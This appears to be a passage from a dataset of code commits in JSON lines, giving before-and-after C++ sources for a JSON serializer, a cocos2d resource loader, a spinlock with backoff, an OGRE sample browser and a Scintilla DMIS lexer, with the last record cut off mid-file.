++i) {\n\t\t\t\t\twrite_serial(tmp[i], aStream);\n\t\t\t\t\tif(i + 1 < s) aStream << ',';\n\t\t\t\t}\n\t\t\t\taStream << ']';\n\t\t\t}\n\t\t\tbreak;\n\t\tcase value::OBJECT_T:\n\t\t{\n\t\t\taStream << '{';\n\t\t\tconst value::object_t tmp = aType.get_object();\n\t\t\tconst size_t s = tmp.size();\n\t\t\tsize_t i = 0;\n\t\t\tfor(const auto& v : tmp) {\n\t\t\t\taStream << '\"' << v.first<< '\"' << ':';\n\t\t\t\twrite_serial(v.second, aStream);\n\t\t\t\tif(i + 1 < s) aStream << ',';\n\t\t\t\t++i;\n\t\t\t}\n\t\t\taStream << '}';\n\t\t}\n\t\tbreak;\n\t\tdefault:\n\t\t\tthrow std::runtime_error(\"json_format : Invalid serial type\");\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tvalue json_format::read_serial(std::istream& aStream) {\n\t\t\/\/! \\todo Implement\n\t\treturn value();\n\t}\n}}<|endoftext|>"}
{"text":"<commit_before>#include \"pch.h\"\n#include \"GameManager.h\"\n#include \"ResourceManager.h\"\n#include \"DataManager.h\"\n\n\nArthas::ResourceManager::ResourceManager()\n{\n\n}\n\nArthas::ResourceManager::~ResourceManager()\n{\n\n}\n\nbool Arthas::ResourceManager::init()\n{\n\treturn true;\n}\n\ncocos2d::Animation* Arthas::ResourceManager::createAnimation(ResourceType animationType)\n{\n\tAnimationInfo animationInfo = GET_DATA_MANAGER()->getAnimationInfo(animationType);\n\tauto animation = cocos2d::Animation::create();\n\tanimation->setDelayPerUnit(animationInfo.delay);\n\n\tfor (int i = 0; i < animationInfo.frameNum; ++i)\n\t{\n\t\tauto frame = cocos2d::SpriteFrameCache::getInstance()->getSpriteFrameByName(animationInfo.animationName[i]);\n\n\t\tif (frame == nullptr)\n\t\t{\n\t\t\tauto sprite = cocos2d::Sprite::create(animationInfo.animationName[i]);\n\t\t\tanimation->addSpriteFrame(sprite->getSpriteFrame());\n\t\t}\n\t\telse\n\t\t{\n\t\t\tanimation->addSpriteFrame(frame);\n\t\t}\n\t}\n\treturn animation;\n}\n\ncocos2d::Sprite* Arthas::ResourceManager::createSprite(ResourceType spriteType)\n{\n\tSpriteInfo spriteInfo = GET_DATA_MANAGER()->getSpriteInfo(spriteType);\n\tauto sprite = cocos2d::Sprite::createWithSpriteFrameName(spriteInfo.spriteName);\n\n\tif (sprite == nullptr)\n\t{\n\t\treturn cocos2d::Sprite::create(spriteInfo.spriteName);\n\t}\n\telse\n\t{\n\t\treturn sprite;\n\t}\n}\n\n<commit_msg>bug fix<commit_after>#include \"pch.h\"\n#include \"GameManager.h\"\n#include \"ResourceManager.h\"\n#include \"DataManager.h\"\n\n\nArthas::ResourceManager::ResourceManager()\n{\n\n}\n\nArthas::ResourceManager::~ResourceManager()\n{\n\n}\n\nbool Arthas::ResourceManager::init()\n{\n\treturn true;\n}\n\ncocos2d::Animation* Arthas::ResourceManager::createAnimation(ResourceType animationType)\n{\n\tAnimationInfo animationInfo = GET_DATA_MANAGER()->getAnimationInfo(animationType);\n\tauto animation = cocos2d::Animation::create();\n\tanimation->setDelayPerUnit(animationInfo.delay);\n\n\tfor (int i = 0; i < animationInfo.frameNum; ++i)\n\t{\n\t\tauto frame = cocos2d::SpriteFrameCache::getInstance()->getSpriteFrameByName(animationInfo.animationName[i]);\n\n\t\tif (frame == nullptr)\n\t\t{\n\t\t\tchar name[256] = { 0, };\n\n\t\t\tsprintf(name, \"Graphic\/%s\", animationInfo.animationName[i]);\n\t\t\tauto sprite = cocos2d::Sprite::create(name);\n\t\t\tanimation->addSpriteFrame(sprite->getSpriteFrame());\n\t\t}\n\t\telse\n\t\t{\n\t\t\tanimation->addSpriteFrame(frame);\n\t\t}\n\t}\n\treturn animation;\n}\n\ncocos2d::Sprite* Arthas::ResourceManager::createSprite(ResourceType spriteType)\n{\n\tSpriteInfo spriteInfo = GET_DATA_MANAGER()->getSpriteInfo(spriteType);\n\tauto sprite = cocos2d::Sprite::createWithSpriteFrameName(spriteInfo.spriteName);\n\n\tif (sprite == nullptr)\n\t{\n\t\tchar name[256] = { 0, };\n\n\t\tsprintf(name, \"Graphic\/%s\", spriteInfo.spriteName);\n\t\treturn cocos2d::Sprite::create(name);\n\t}\n\telse\n\t{\n\t\treturn sprite;\n\t}\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <atomic>\n#include <utility>\n\nclass spin_lock {\n    std::atomic_flag _flag = ATOMIC_FLAG_INIT;\npublic:\n    void lock() {\n        while (_flag.test_and_set(std::memory_order_acquire));\n    }\n\n    template <typename F, typename... Args>\n    void lock(F func, Args... args) {\n        while (_flag.test_and_set(std::memory_order_acquire)) {\n            F(std::forward<Args...>(args...));\n        }\n    }\n\n    bool try_lock() {\n        return !_flag.test_and_set(std::memory_order_acquire);\n    }\n\n    void unlock() {\n        _flag.clear(std::memory_order_release);\n    }\n};\n<commit_msg>Added spinlock with exponential backoff.<commit_after>#pragma once\n\n#include <atomic>\n#include <utility>\n\nclass spin_lock {\n    std::atomic_flag _flag = ATOMIC_FLAG_INIT;\npublic:\n    void lock() {\n        while (_flag.test_and_set(std::memory_order_acq_rel))\n            asm volatile(\"pause\");\n    }\n\n    bool try_lock() {\n        return !_flag.test_and_set(std::memory_order_acq_rel);\n    }\n\n    void unlock() {\n        _flag.clear(std::memory_order_release);\n    }\n};\n\nclass spin_lock_backoff {\n    std::atomic_flag _flag = ATOMIC_FLAG_INIT;\npublic:\n    void lock() {\n        unsigned backoff = 0;\n        while (_flag.test_and_set(std::memory_order_acq_rel)) {\n            for(unsigned i = 0; i < (1u << backoff); i++) {\n                asm volatile(\"pause\");\n            }\n            backoff++;\n        }\n    }\n\n    bool try_lock() {\n        return !_flag.test_and_set(std::memory_order_acq_rel);\n    }\n\n    void unlock() {\n        _flag.clear(std::memory_order_release);\n    }\n};\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n -----------------------------------------------------------------------------\n This source file is part of OGRE\n (Object-oriented Graphics Rendering Engine)\n For the latest info, see http:\/\/www.ogre3d.org\/\n \n Copyright (c) 2000-2012 Torus Knot Software Ltd\n \n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n \n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n \n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n -----------------------------------------------------------------------------\n *\/\n#include \"OgrePlatform.h\"\n\n#include \"SampleBrowser.h\"\n\n#if OGRE_PLATFORM == OGRE_PLATFORM_WIN32\n#define WIN32_LEAN_AND_MEAN\n#include \"windows.h\"\n#include \"OgreString.h\"\n#elif OGRE_PLATFORM == OGRE_PLATFORM_APPLE\n#include \"SampleBrowser_OSX.h\"\n#elif OGRE_PLATFORM == OGRE_PLATFORM_APPLE_IOS\n#include \"SampleBrowser_iOS.h\"\n#elif OGRE_PLATFORM == OGRE_PLATFORM_NACL\n#include \"SampleBrowser_NaCl.h\"\n#endif\n\n#if OGRE_PLATFORM != OGRE_PLATFORM_NACL\n\n#if OGRE_PLATFORM == OGRE_PLATFORM_WIN32\nINT WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR cmdLine, INT)\n#else\nint main(int argc, char *argv[])\n#endif\n{\n#if OGRE_PLATFORM == OGRE_PLATFORM_APPLE_IOS\n\tNSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];\n\tint retVal = UIApplicationMain(argc, argv, @\"UIApplication\", @\"AppDelegate\");\n\t[pool release];\n\treturn retVal;\n#elif (OGRE_PLATFORM == OGRE_PLATFORM_APPLE) && __LP64__\n\tNSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];\n    \n    mAppDelegate = [[AppDelegate alloc] init];\n    [[NSApplication sharedApplication] setDelegate:mAppDelegate];\n\tint retVal = NSApplicationMain(argc, (const char **) argv);\n\n\t[pool release];\n\n\treturn retVal;\n#else\n\n\ttry\n\t{\n        bool nograb = false;\n#if OGRE_PLATFORM != OGRE_PLATFORM_WIN32\n        if (argc >= 2 && Ogre::String(argv[1]) == \"nograb\")\n            nograb = true;\n#else\n        \/\/ somewhat hacky, but much simpler than other solutions\n        if (Ogre::String(cmdLine).find(\"nograb\") != Ogre::String::npos)\n            nograb = true;\n#endif\n\t\tOgreBites::SampleBrowser sb (nograb);\n\t\tsb.go();\n\t}\n\tcatch (Ogre::Exception& e)\n\t{\n#if OGRE_PLATFORM == OGRE_PLATFORM_WIN32\n\t\tMessageBoxA(NULL, e.getFullDescription().c_str(), \"An exception has occurred!\", MB_ICONERROR | MB_TASKMODAL);\n#else\n\t\tstd::cerr << \"An exception has occurred: \" << e.getFullDescription().c_str() << std::endl;\n#endif\n\t}\n\n#endif\n\treturn 0;\n}\n\n#endif    \n<commit_msg>Fix a redeclaration warning<commit_after>\/*\n -----------------------------------------------------------------------------\n This source file is part of OGRE\n (Object-oriented Graphics Rendering Engine)\n For the latest info, see http:\/\/www.ogre3d.org\/\n \n Copyright (c) 2000-2012 Torus Knot Software Ltd\n \n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n \n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n \n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n -----------------------------------------------------------------------------\n *\/\n#include \"OgrePlatform.h\"\n\n#include \"SampleBrowser.h\"\n\n#if OGRE_PLATFORM == OGRE_PLATFORM_WIN32\n#define WIN32_LEAN_AND_MEAN\n#include \"windows.h\"\n#include \"OgreString.h\"\n#elif OGRE_PLATFORM == OGRE_PLATFORM_APPLE\n#include \"SampleBrowser_OSX.h\"\n#elif OGRE_PLATFORM == OGRE_PLATFORM_APPLE_IOS\n#include \"SampleBrowser_iOS.h\"\n#elif OGRE_PLATFORM == OGRE_PLATFORM_NACL\n#include \"SampleBrowser_NaCl.h\"\n#endif\n\n#if OGRE_PLATFORM != OGRE_PLATFORM_NACL\n\n#if OGRE_PLATFORM == OGRE_PLATFORM_WIN32\nINT WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR cmdLine, INT)\n#else\nint main(int argc, char *argv[])\n#endif\n{\n#if OGRE_PLATFORM == OGRE_PLATFORM_APPLE_IOS\n\tNSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];\n\tint retVal = UIApplicationMain(argc, argv, @\"UIApplication\", @\"AppDelegate\");\n\t[pool release];\n\treturn retVal;\n#elif (OGRE_PLATFORM == OGRE_PLATFORM_APPLE) && __LP64__\n\tNSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];\n    \n    mAppDelegate = [[AppDelegate alloc] init];\n    [[NSApplication sharedApplication] setDelegate:mAppDelegate];\n\tint retVal = NSApplicationMain(argc, (const char **) argv);\n\n\t[pool release];\n\n\treturn retVal;\n#else\n\n\ttry\n\t{\n        bool nograb = false;\n#if OGRE_PLATFORM != OGRE_PLATFORM_WIN32\n        if (argc >= 2 && Ogre::String(argv[1]) == \"nograb\")\n            nograb = true;\n#else\n        \/\/ somewhat hacky, but much simpler than other solutions\n        if (Ogre::String(cmdLine).find(\"nograb\") != Ogre::String::npos)\n            nograb = true;\n#endif\n\t\tOgreBites::SampleBrowser brows (nograb);\n\t\tbrows.go();\n\t}\n\tcatch (Ogre::Exception& e)\n\t{\n#if OGRE_PLATFORM == OGRE_PLATFORM_WIN32\n\t\tMessageBoxA(NULL, e.getFullDescription().c_str(), \"An exception has occurred!\", MB_ICONERROR | MB_TASKMODAL);\n#else\n\t\tstd::cerr << \"An exception has occurred: \" << e.getFullDescription().c_str() << std::endl;\n#endif\n\t}\n\n#endif\n\treturn 0;\n}\n\n#endif    \n<|endoftext|>"}
{"text":"<commit_before>\/\/ Scintilla source code edit control\n\/** @file LexDMIS.cxx\n ** Lexer for DMIS.\n  **\/\n\/\/ Copyright 1998-2005 by Neil Hodgson <neilh@scintilla.org>\n\/\/ Copyright 2013-2014 by Andreas Tscharner <andy@vis.ethz.ch>\n\/\/ The License.txt file describes the conditions under which this software may be distributed.\n\n\n#include <cstdlib>\n#include <cassert>\n#include <cstring>\n#include <cctype>\n\n#include \"ILexer.h\"\n#include \"SciLexer.h\"\n#include \"Scintilla.h\"\n\n#include \"LexerModule.h\"\n#include \"LexAccessor.h\"\n#include \"StyleContext.h\"\n#include \"CharacterSet.h\"\n#include \"WordList.h\"\n\n#ifdef SCI_NAMESPACE\nusing namespace Scintilla;\n#endif\n\n\nstatic const char *const DMISWordListDesc[] = {\n\t\"DMIS Major Words\",\n\t\"DMIS Minor Words\",\n\t\"Unsupported DMIS Major Words\",\n\t\"Unsupported DMIS Minor Words\",\n\t\"Keywords for code folding start\",\n\t\"Corresponding keywords for code folding end\",\n\t0\n};\n\n\nclass LexerDMIS : public ILexer\n{\n\tprivate:\n\t\tchar *m_wordListSets;\n\t\tWordList m_majorWords;\n\t\tWordList m_minorWords;\n\t\tWordList m_unsupportedMajor;\n\t\tWordList m_unsupportedMinor;\n\t\tWordList m_codeFoldingStart;\n\t\tWordList m_codeFoldingEnd;\n\n\t\tchar * SCI_METHOD UpperCase(char *item);\n\t\tvoid SCI_METHOD InitWordListSets(void);\n\n\tpublic:\n\t\tLexerDMIS(void);\n\t\tvirtual ~LexerDMIS(void);\n\n\t\tint SCI_METHOD Version() const {\n\t\t\treturn lvOriginal;\n\t\t}\n\n\t\tvoid SCI_METHOD Release() {\n\t\t\tdelete this;\n\t\t}\n\n\t\tconst char * SCI_METHOD PropertyNames() {\n\t\t\treturn NULL;\n\t\t}\n\n\t\tint SCI_METHOD PropertyType(const char *) {\n\t\t\treturn -1;\n\t\t}\n\n\t\tconst char * SCI_METHOD DescribeProperty(const char *) {\n\t\t\treturn NULL;\n\t\t}\n\n\t\tint SCI_METHOD PropertySet(const char *, const char *) {\n\t\t\treturn -1;\n\t\t}\n\n\t\tint SCI_METHOD WordListSet(int n, const char *wl);\n\n\t\tvoid * SCI_METHOD PrivateCall(int, void *) {\n\t\t\treturn NULL;\n\t\t}\n\n\t\tstatic ILexer *LexerFactoryDMIS() {\n\t\t\treturn new LexerDMIS;\n\t\t}\n\n\t\tconst char * SCI_METHOD DescribeWordListSets();\n\t\tvoid SCI_METHOD Lex(unsigned int startPos, int lengthDoc, int initStyle, IDocument *pAccess);\n\t\tvoid SCI_METHOD Fold(unsigned int startPos, int lengthDoc, int initStyle, IDocument *pAccess);\n};\n\n\nchar * SCI_METHOD LexerDMIS::UpperCase(char *item)\n{\n\tchar *itemStart;\n\n\n\titemStart = item;\n\twhile (item && *item) {\n\t\t*item = toupper(*item);\n\t\titem++;\n\t};\n\treturn itemStart;\n}\n\nvoid SCI_METHOD LexerDMIS::InitWordListSets(void)\n{\n\tsize_t totalLen = 0;\n\n\n\tfor (int i=0; DMISWordListDesc[i]; i++) {\n\t\ttotalLen += strlen(DMISWordListDesc[i]);\n\t\ttotalLen++;\n\t};\n\n\ttotalLen++;\n\tthis->m_wordListSets = new char[totalLen];\n\tmemset(this->m_wordListSets, 0, totalLen);\n\n\tfor (int i=0; DMISWordListDesc[i]; i++) {\n\t\tstrcat(this->m_wordListSets, DMISWordListDesc[i]);\n\t\tstrcat(this->m_wordListSets, \"\\n\");\n\t};\n}\n\n\nLexerDMIS::LexerDMIS(void) {\n\tthis->InitWordListSets();\n\n\tthis->m_majorWords.Clear();\n\tthis->m_minorWords.Clear();\n\tthis->m_unsupportedMajor.Clear();\n\tthis->m_unsupportedMinor.Clear();\n\tthis->m_codeFoldingStart.Clear();\n\tthis->m_codeFoldingEnd.Clear();\n}\n\nLexerDMIS::~LexerDMIS(void) {\n\tdelete[] this->m_wordListSets;\n}\n\nint SCI_METHOD LexerDMIS::WordListSet(int n, const char *wl)\n{\n\tswitch (n) {\n\t\tcase 0:\n\t\t\tthis->m_majorWords.Clear();\n\t\t\tthis->m_majorWords.Set(wl);\n\t\t\tbreak;\n\t\tcase 1:\n\t\t\tthis->m_minorWords.Clear();\n\t\t\tthis->m_minorWords.Set(wl);\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tthis->m_unsupportedMajor.Clear();\n\t\t\tthis->m_unsupportedMajor.Set(wl);\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tthis->m_unsupportedMinor.Clear();\n\t\t\tthis->m_unsupportedMinor.Set(wl);\n\t\t\tbreak;\n\t\tcase 4:\n\t\t\tthis->m_codeFoldingStart.Clear();\n\t\t\tthis->m_codeFoldingStart.Set(wl);\n\t\t\tbreak;\n\t\tcase 5:\n\t\t\tthis->m_codeFoldingEnd.Clear();\n\t\t\tthis->m_codeFoldingEnd.Set(wl);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\treturn -1;\n\t\t\tbreak;\n\t}\n\n\treturn 0;\n}\n\nconst char * SCI_METHOD LexerDMIS::DescribeWordListSets()\n{\n\treturn this->m_wordListSets;\n}\n\nvoid SCI_METHOD LexerDMIS::Lex(unsigned int startPos, int lengthDoc, int initStyle, IDocument *pAccess)\n{\n\tconst unsigned int MAX_STR_LEN = 100;\n\n\tLexAccessor styler(pAccess);\n\tStyleContext scCTX(startPos, lengthDoc, initStyle, styler);\n\tCharacterSet setDMISNumber(CharacterSet::setDigits, \".-+eE\");\n\tCharacterSet setDMISWordStart(CharacterSet::setAlpha, \"-234\", 0x80, true);\n\tCharacterSet setDMISWord(CharacterSet::setAlpha);\n\n\n\tbool isIFLine = false;\n\n\tfor (; scCTX.More(); scCTX.Forward()) {\n\t\tif (scCTX.atLineEnd) {\n\t\t\tisIFLine = false;\n\t\t};\n\n\t\tswitch (scCTX.state) {\n\t\t\tcase SCE_DMIS_DEFAULT:\n\t\t\t\tif (scCTX.Match('$', '$')) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_COMMENT);\n\t\t\t\t\tscCTX.Forward();\n\t\t\t\t};\n\t\t\t\tif (scCTX.Match('\\'')) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_STRING);\n\t\t\t\t};\n\t\t\t\tif (IsADigit(scCTX.ch) || ((scCTX.Match('-') || scCTX.Match('+')) && IsADigit(scCTX.chNext))) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_NUMBER);\n\t\t\t\t\tbreak;\n\t\t\t\t};\n\t\t\t\tif (setDMISWordStart.Contains(scCTX.ch)) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_KEYWORD);\n\t\t\t\t};\n\t\t\t\tif (scCTX.Match('(') && (!isIFLine)) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_LABEL);\n\t\t\t\t};\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_DMIS_COMMENT:\n\t\t\t\tif (scCTX.atLineEnd) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_DEFAULT);\n\t\t\t\t};\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_DMIS_STRING:\n\t\t\t\tif (scCTX.Match('\\'')) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_DEFAULT);\n\t\t\t\t};\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_DMIS_NUMBER:\n\t\t\t\tif (!setDMISNumber.Contains(scCTX.ch)) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_DEFAULT);\n\t\t\t\t};\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_DMIS_KEYWORD:\n\t\t\t\tif (!setDMISWord.Contains(scCTX.ch)) {\n\t\t\t\t\tchar tmpStr[MAX_STR_LEN];\n\t\t\t\t\tmemset(tmpStr, 0, MAX_STR_LEN*sizeof(char));\n\t\t\t\t\tscCTX.GetCurrent(tmpStr, (MAX_STR_LEN-1));\n\t\t\t\t\tstrncpy(tmpStr, this->UpperCase(tmpStr), (MAX_STR_LEN-1));\n\n\t\t\t\t\tif (this->m_minorWords.InList(tmpStr)) {\n\t\t\t\t\t\tscCTX.ChangeState(SCE_DMIS_MINORWORD);\n\t\t\t\t\t};\n\t\t\t\t\tif (this->m_majorWords.InList(tmpStr)) {\n\t\t\t\t\t\tisIFLine = (strcmp(tmpStr, \"IF\") == 0);\n\t\t\t\t\t\tscCTX.ChangeState(SCE_DMIS_MAJORWORD);\n\t\t\t\t\t};\n\t\t\t\t\tif (this->m_unsupportedMajor.InList(tmpStr)) {\n\t\t\t\t\t\tscCTX.ChangeState(SCE_DMIS_UNSUPPORTED_MAJOR);\n\t\t\t\t\t};\n\t\t\t\t\tif (this->m_unsupportedMinor.InList(tmpStr)) {\n\t\t\t\t\t\tscCTX.ChangeState(SCE_DMIS_UNSUPPORTED_MINOR);\n\t\t\t\t\t};\n\n\t\t\t\t\tif (scCTX.Match('(') && (isIFLine)) {\n\t\t\t\t\t\tscCTX.SetState(SCE_DMIS_LABEL);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tscCTX.SetState(SCE_DMIS_DEFAULT);\n\t\t\t\t\t};\n\t\t\t\t};\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_DMIS_LABEL:\n\t\t\t\tif (scCTX.Match(')')) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_DEFAULT);\n\t\t\t\t};\n\t\t\t\tbreak;\n\t\t};\n\t};\n\tscCTX.Complete();\n}\n\nvoid SCI_METHOD LexerDMIS::Fold(unsigned int startPos, int lengthDoc, int, IDocument *pAccess)\n{\n\tconst int MAX_STR_LEN = 100;\n\n\tLexAccessor styler(pAccess);\n\tunsigned int endPos = startPos + lengthDoc;\n\tchar chNext = styler[startPos];\n\tint lineCurrent = styler.GetLine(startPos);\n\tint levelPrev = styler.LevelAt(lineCurrent) & SC_FOLDLEVELNUMBERMASK;\n\tint levelCurrent = levelPrev;\n\tint strPos = 0;\n\tbool foldWordPossible = false;\n\tCharacterSet setDMISFoldWord(CharacterSet::setAlpha);\n\tchar *tmpStr;\n\n\n\ttmpStr = new char[MAX_STR_LEN];\n\tmemset(tmpStr, 0, MAX_STR_LEN*sizeof(char));\n\n\tfor (unsigned int i=startPos; i<endPos; i++) {\n\t\tchar ch = chNext;\n\t\tchNext = styler.SafeGetCharAt(i+1);\n\n\t\tbool atEOL = ((ch == '\\r' && chNext != '\\n') || (ch == '\\n'));\n\n\t\tif (strPos >= (MAX_STR_LEN-1)) {\n\t\t\tstrPos = MAX_STR_LEN-1;\n\t\t};\n\n\t\tint style = styler.StyleAt(i);\n\t\tbool noFoldPos = ((style == SCE_DMIS_COMMENT) || (style == SCE_DMIS_STRING));\n\n\t\tif (foldWordPossible) {\n\t\t\tif (setDMISFoldWord.Contains(ch)) {\n\t\t\t\ttmpStr[strPos++] = ch;\n\t\t\t} else {\n\t\t\t\ttmpStr = this->UpperCase(tmpStr);\n\t\t\t\tif (this->m_codeFoldingStart.InList(tmpStr) && (!noFoldPos)) {\n\t\t\t\t\tlevelCurrent++;\n\t\t\t\t};\n\t\t\t\tif (this->m_codeFoldingEnd.InList(tmpStr) && (!noFoldPos)) {\n\t\t\t\t\tlevelCurrent--;\n\t\t\t\t};\n\t\t\t\tmemset(tmpStr, 0, MAX_STR_LEN*sizeof(char));\n\t\t\t\tstrPos = 0;\n\t\t\t\tfoldWordPossible = false;\n\t\t\t};\n\t\t} else {\n\t\t\tif (setDMISFoldWord.Contains(ch)) {\n\t\t\t\ttmpStr[strPos++] = ch;\n\t\t\t\tfoldWordPossible = true;\n\t\t\t};\n\t\t};\n\n\t\tif (atEOL || (i == (endPos-1))) {\n\t\t\tint lev = levelPrev;\n\n\t\t\tif (levelCurrent > levelPrev) {\n\t\t\t\tlev |= SC_FOLDLEVELHEADERFLAG;\n\t\t\t};\n\t\t\tif (lev != styler.LevelAt(lineCurrent)) {\n\t\t\t\tstyler.SetLevel(lineCurrent, lev);\n\t\t\t};\n\t\t\tlineCurrent++;\n\t\t\tlevelPrev = levelCurrent;\n\t\t};\n\t};\n\tdelete[] tmpStr;\n}\n\n\nLexerModule lmDMIS(SCLEX_DMIS, LexerDMIS::LexerFactoryDMIS, \"DMIS\", DMISWordListDesc);\n<commit_msg>Add missing not sign to fix DMIS label highlighting<commit_after>\/\/ Scintilla source code edit control\n\/** @file LexDMIS.cxx\n ** Lexer for DMIS.\n  **\/\n\/\/ Copyright 1998-2005 by Neil Hodgson <neilh@scintilla.org>\n\/\/ Copyright 2013-2014 by Andreas Tscharner <andy@vis.ethz.ch>\n\/\/ The License.txt file describes the conditions under which this software may be distributed.\n\n\n#include <cstdlib>\n#include <cassert>\n#include <cstring>\n#include <cctype>\n\n#include \"ILexer.h\"\n#include \"SciLexer.h\"\n#include \"Scintilla.h\"\n\n#include \"LexerModule.h\"\n#include \"LexAccessor.h\"\n#include \"StyleContext.h\"\n#include \"CharacterSet.h\"\n#include \"WordList.h\"\n\n#ifdef SCI_NAMESPACE\nusing namespace Scintilla;\n#endif\n\n\nstatic const char *const DMISWordListDesc[] = {\n\t\"DMIS Major Words\",\n\t\"DMIS Minor Words\",\n\t\"Unsupported DMIS Major Words\",\n\t\"Unsupported DMIS Minor Words\",\n\t\"Keywords for code folding start\",\n\t\"Corresponding keywords for code folding end\",\n\t0\n};\n\n\nclass LexerDMIS : public ILexer\n{\n\tprivate:\n\t\tchar *m_wordListSets;\n\t\tWordList m_majorWords;\n\t\tWordList m_minorWords;\n\t\tWordList m_unsupportedMajor;\n\t\tWordList m_unsupportedMinor;\n\t\tWordList m_codeFoldingStart;\n\t\tWordList m_codeFoldingEnd;\n\n\t\tchar * SCI_METHOD UpperCase(char *item);\n\t\tvoid SCI_METHOD InitWordListSets(void);\n\n\tpublic:\n\t\tLexerDMIS(void);\n\t\tvirtual ~LexerDMIS(void);\n\n\t\tint SCI_METHOD Version() const {\n\t\t\treturn lvOriginal;\n\t\t}\n\n\t\tvoid SCI_METHOD Release() {\n\t\t\tdelete this;\n\t\t}\n\n\t\tconst char * SCI_METHOD PropertyNames() {\n\t\t\treturn NULL;\n\t\t}\n\n\t\tint SCI_METHOD PropertyType(const char *) {\n\t\t\treturn -1;\n\t\t}\n\n\t\tconst char * SCI_METHOD DescribeProperty(const char *) {\n\t\t\treturn NULL;\n\t\t}\n\n\t\tint SCI_METHOD PropertySet(const char *, const char *) {\n\t\t\treturn -1;\n\t\t}\n\n\t\tint SCI_METHOD WordListSet(int n, const char *wl);\n\n\t\tvoid * SCI_METHOD PrivateCall(int, void *) {\n\t\t\treturn NULL;\n\t\t}\n\n\t\tstatic ILexer *LexerFactoryDMIS() {\n\t\t\treturn new LexerDMIS;\n\t\t}\n\n\t\tconst char * SCI_METHOD DescribeWordListSets();\n\t\tvoid SCI_METHOD Lex(unsigned int startPos, int lengthDoc, int initStyle, IDocument *pAccess);\n\t\tvoid SCI_METHOD Fold(unsigned int startPos, int lengthDoc, int initStyle, IDocument *pAccess);\n};\n\n\nchar * SCI_METHOD LexerDMIS::UpperCase(char *item)\n{\n\tchar *itemStart;\n\n\n\titemStart = item;\n\twhile (item && *item) {\n\t\t*item = toupper(*item);\n\t\titem++;\n\t};\n\treturn itemStart;\n}\n\nvoid SCI_METHOD LexerDMIS::InitWordListSets(void)\n{\n\tsize_t totalLen = 0;\n\n\n\tfor (int i=0; DMISWordListDesc[i]; i++) {\n\t\ttotalLen += strlen(DMISWordListDesc[i]);\n\t\ttotalLen++;\n\t};\n\n\ttotalLen++;\n\tthis->m_wordListSets = new char[totalLen];\n\tmemset(this->m_wordListSets, 0, totalLen);\n\n\tfor (int i=0; DMISWordListDesc[i]; i++) {\n\t\tstrcat(this->m_wordListSets, DMISWordListDesc[i]);\n\t\tstrcat(this->m_wordListSets, \"\\n\");\n\t};\n}\n\n\nLexerDMIS::LexerDMIS(void) {\n\tthis->InitWordListSets();\n\n\tthis->m_majorWords.Clear();\n\tthis->m_minorWords.Clear();\n\tthis->m_unsupportedMajor.Clear();\n\tthis->m_unsupportedMinor.Clear();\n\tthis->m_codeFoldingStart.Clear();\n\tthis->m_codeFoldingEnd.Clear();\n}\n\nLexerDMIS::~LexerDMIS(void) {\n\tdelete[] this->m_wordListSets;\n}\n\nint SCI_METHOD LexerDMIS::WordListSet(int n, const char *wl)\n{\n\tswitch (n) {\n\t\tcase 